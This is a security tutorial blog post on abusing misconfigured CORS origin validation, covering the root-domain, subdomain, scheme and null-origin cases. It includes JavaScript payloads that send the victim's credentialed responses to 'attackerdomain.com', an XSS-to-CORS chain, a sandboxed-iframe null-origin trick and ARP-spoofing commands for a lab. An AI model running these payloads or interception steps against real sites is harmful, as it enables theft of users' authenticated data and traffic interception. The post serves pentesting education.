Abusing CORS (Improper Origin Validation)

Four ways you can abuse CORS when origins are not validated properly. Thank you pentester.land for tutorial of the week :)

CORS (Cross-Site Origin Resource Sharing) is a header-based security mechanism that enables developers to make dynamic requests from client-side code (JS/Ajax) as this is not possible due to SOP (Same-Origin-Policy).

CORS example

www.example.com gets its user-details from api.example.com/user-data.

const xhr = new XMLHttpRequest();
xhr.open('GET','https://api.example.com/user-data', true); 
xhr.withCredentials = true;
xhr.onreadystatechange = updateDOM();
xhr.send();

The endpoint is restricted for authenticated users only. The withCredentials property in Line 3 indicates that credentials such as cookies, authorization headers or TLS client certificates should be included in the request. Whenever such request is made, the browser will include a Origin header in the request. The value of this header will be the domain from which the request was sent.

GET /user-data HTTP/1.1
Host: api.example.com
Authorization: Basic Zm9vOmJhcg==
Origin: https://www.example.com

HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://www.example.com
Access-Control-Allow-Credentials: true

{"[user-data]"}

As indicated by the response headers, the server does allow requests originating from https://www.example.com - with user credentials.

Improper validation

Building on the above example, consider that the devs want to share api.example.com with all of its subdomains. Rather than whitelisting each domain in a static list, the checking is done dynamically. What can go wrong?

Consider this expression used to match any subdomain of example.com.

re = /https?:\/\/([\w\d]+).?example.com/s

Although the expression does match any subdomain of example.com; the devs forgot to escape the dot in example.com, meaning that this regex will also match any substitute of this dot character. Not only that but it will also match origins that begin with http:// (HTTP) as denoted by optional ? regex quantifier. Consequently, the target CORS configuration will trust XHR requests from domains such as http://apixexample.com which an attacker may purchase.

GET /user-data HTTP/1.1
Host: api.example.com
Authorization: Basic Zm9vOmJhcg==
Origin: http://apixexample.com 

HTTP/1.1 200 OK
Access-Control-Allow-Origin: http://apixexample.com 
Access-Control-Allow-Credentials: true

{"[user-data]"}

They way you exploit this depends on which part of the origin is improperly validated. To better demonstrate this, each attack scenario is divided into the following four sections:

• Root-domain
• Subdomain
• Scheme
• Null-origin

The example payloads used in these sections can be found at the very end of this post.

Root-domain

Consider the following request used to obtain a secret token from a cross-domain API endpoint.

GET /token HTTP/1.1
Host: api.example.com
Accept: */*
Cookie: SSID=eF5jYSlN9jBOS0mzNE410k1KSk7VNUm0NNI1NUxc
Origin: https://example.com
Connection: close

The origin of this request is https://example.com as seen in the response below:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Credentials: true

{"[token]"}

HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://attacker.com
Access-Control-Allow-Credentials: true

{"[token]"}

Host the payload (end of article) on a domain that is trusted by target CORS and have the victim browse to it. Provided that the victim is authenticated to the target site, the following will occur.

1. Payload sends XHR request from victims browser to target server. The Origin of this request will be the domain/address from which the request was sent.
2. Server accepts the request as its origin is trusted by CORS. The victims response gets sent back to the origin domain.
3. Attacker grabs the victims response data from webserver logs.

Subdomain

In the previous example the target was misconfigured so badly that it would trust any CORS Origin. In this scenario, however, only the subdomain part of the domain is improperly validated. As such, the server won’t trust any domain we throw at it, but it will trust any subdomain (of itself) that we provide.

GET /token HTTP/1.1
Host: api.example.com
Accept: */*
Cookie: SSID=eF5jYSlN9jBOS0mzNE410k1KSk7VNUm0NNI1NUxc
Origin: foo.example.com
Connection: close

HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://foo.example.com
Access-Control-Allow-Credentials: true

{"[token]"}

In order to exploit this, you will have to find a XSS on a subdomain of your target (that is accepted by CORS). The idea is to craft a XSS payload that makes a XHR request to the vulnerable domain. By doing so, we are able to send the request with an Origin that the target trusts (its own subdomain). This can be confusing so let me try to explain this this further detail. Imagine that you have a reflective XSS on foo.example.com – a subdomain of your vulnerable target that is trusted by CORS (with credentials). Rather than popping an alert, place the payload inside your XSS, e.g using atob (base64).

https://foo.example.com?someparam=<script>alert(1)</script>
https://foo.example.com?someparam=<script>eval(atob(“base64”))</script>

Once browse to by an authenticated victim:

1. XSS payload gets triggered.
2. Payload sends XHR request from to vulnerable CORS endpoint/domain. The origin of this request will equal the subdomain where XSS resides.
3. Target server trusts this origin, as CORS is misconfigured to trust any subdomain of self (hence why this is a bad idea).
4. Server sends victims response response back to the subdomain (XSS).
5. Payloads retrieves the response and triggers an event handler.
6. Event handler makes a second request to the attacker server, containing with the victims response.
7. Attacker grabs the response from the webserver logs.

Scheme

In this scenario, the scheme is not validated properly as CORS trusts traffic origins using the HTTP scheme.

GET /token HTTP/1.1
Host: example.com
Accept: */*
Cookie: SSID=eF5jYSlN9jBOS0mzNE410k1KSk7VNUm0NNI1NUxc
Origin: http://api.example.com
Connection: close

HTTP/1.1 200 OK
Access-Control-Allow-Origin: http://api.example.com
Access-Control-Allow-Credentials: true

{"[token]"}

From the above request/response, we see that example.com will communicate traffic over HTTP as http://api.example.com is considered trusted through CORS. This opens up the possibility for an attacker to bypass strict-transport-security and thereby break the secure HTTPS connection between the victim and the server.

To exploit this, the attacker must somehow force the victim into sending the request from HTTP instead of HTTPS. One way of doing is to ARP spoof victims that are connected to the same network as the attacker for the purpose of manipulating packets so that the origin becomes http:// instead of https://

This process can be confusing and is better illustrated in the diagram below.

Each item in this list represents an arrow in the above diagram.

ARP Spoofing in a lab environment

Example setup:

• Attacking machine: Bridged VM running Kali
• Victim machine: Bridged VM running any OS

On your attacking machine:

Run arp-scan to determine your victim IP:

arp-scan –interface=eth0 --localnet

Start ARP Spoofing the victim:

arpspoof -i INTERFACE -t $VICTIM_IP $GATEWAY_IP

Configure iptables to route traffic on port 80 to whatever port you want to proxy:

iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 808

In Burp Suite:

1. Head to Proxy - > Options  
2. Add a new proxy listener  
3. Set bind-port to your redirected port  
4. Set bind-address to attacking IP (not loopback)  
5. Click the “Request Handling” tab  
6. Check “Support invisible proxying” (important!)  
7. Hit “Ok”  

On your victim machine:

Request some HTTP traffic from any domain and head back to the Burp proxy on your attacking machine. If all is well then you should see the victims request being intercepted. If not then HTTPS is likely being requested directly from browser cache. To fix this, either clean out the cache or disable it complitely.

Null Origin

The null origin is according to the HTML spec an opaque origin, which is:

An internal value, with no serialization it can be recreated from (it is serialized as “null” per serialization of an origin), for which the only meaningful operation is testing for equality.

From what I understand, this is true when:

1. The resource redirects to another resource having a different origin.
2. The resource uses a non-hierarchial scheme (such as data: or file:).
3. Accessing a sandboxed document.

GET /token HTTP/1.1
Host: api.example.com
Accept: */*
Origin: null
Connection: close

HTTP/1.1 200 OK
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true

{"[token]"}

Here, the server wrongfully grants access to Origin: null (with credentials). Seeing this, your goal now is to somehow obtain this null origin by “triggering” one of the conditions above. One way of doing this is to send an XHR request from host A, to a page on host B that 302 redirects to the endpoint with a different origin.

Or better; wrap the payload in an in an iframe sandbox (without allow-same-origin) as so:

<iframe sandbox='allow-scripts allow-forms'src='data:text/html,
<script>
<!--Cors payload goes here-->
</script>'></iframe>

This should work regardless of where it is hosted as long the null origin is set (assuming server responds with ACAO: true).

Payloads

GET

var xhr = new XMLHttpRequest(); 
xhr.onload = reqListener; 
xhr.open('GET','https://target.example.com/endpoint/',true); 
xhr.withCredentials = true;
xhr.send();

// leak json response to attacker domain
function reqListener() {
    location='https://attackerdomain.com/?response='+this.responseText; 
};

POST

var postdata = "fname=Henry&lname=Ford"

var xhr = new XMLHttpRequest(); 
xhr.onload = reqListener; 
xhr.open("POST", 'https://target.example.com/endpoint/', true);
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xhr.withCredentials = true;
xhr.send(postdata);

// leak json response to attacker domain
function reqListener() {
    location='https://attackerdomain.com/?response='+this.responseText; 
};

Complex response data structures

For complex responses such as HTML, XML, etc. the reponse must be POSTed to your attacker domain. For this mod_security (or similar) must but enabled on your webserver for the request to get logged. For Apache, this usually ends up in /var/log/apache2/modsec_audit.log. For JSON responses, consider using JSON.parse(xhr.responseText)

// POST response to attacker domain
function reqListener() {
  var leak = new XMLHttpRequest();
  leak.open("POST", "https://attackerdomain.com/whatever.txt", true);
  leak.send(xhr.response());
}

Supporting Material

• Exploiting CORS misconfigurations for Bitcoins and bounties
• We Still Don’t Have Secure Cross-Domain Requests: an Empirical Study of CORS
• Evan Johnson - Misconfigured CORS and why web appsec is not getting easier - AppSecUSA 2016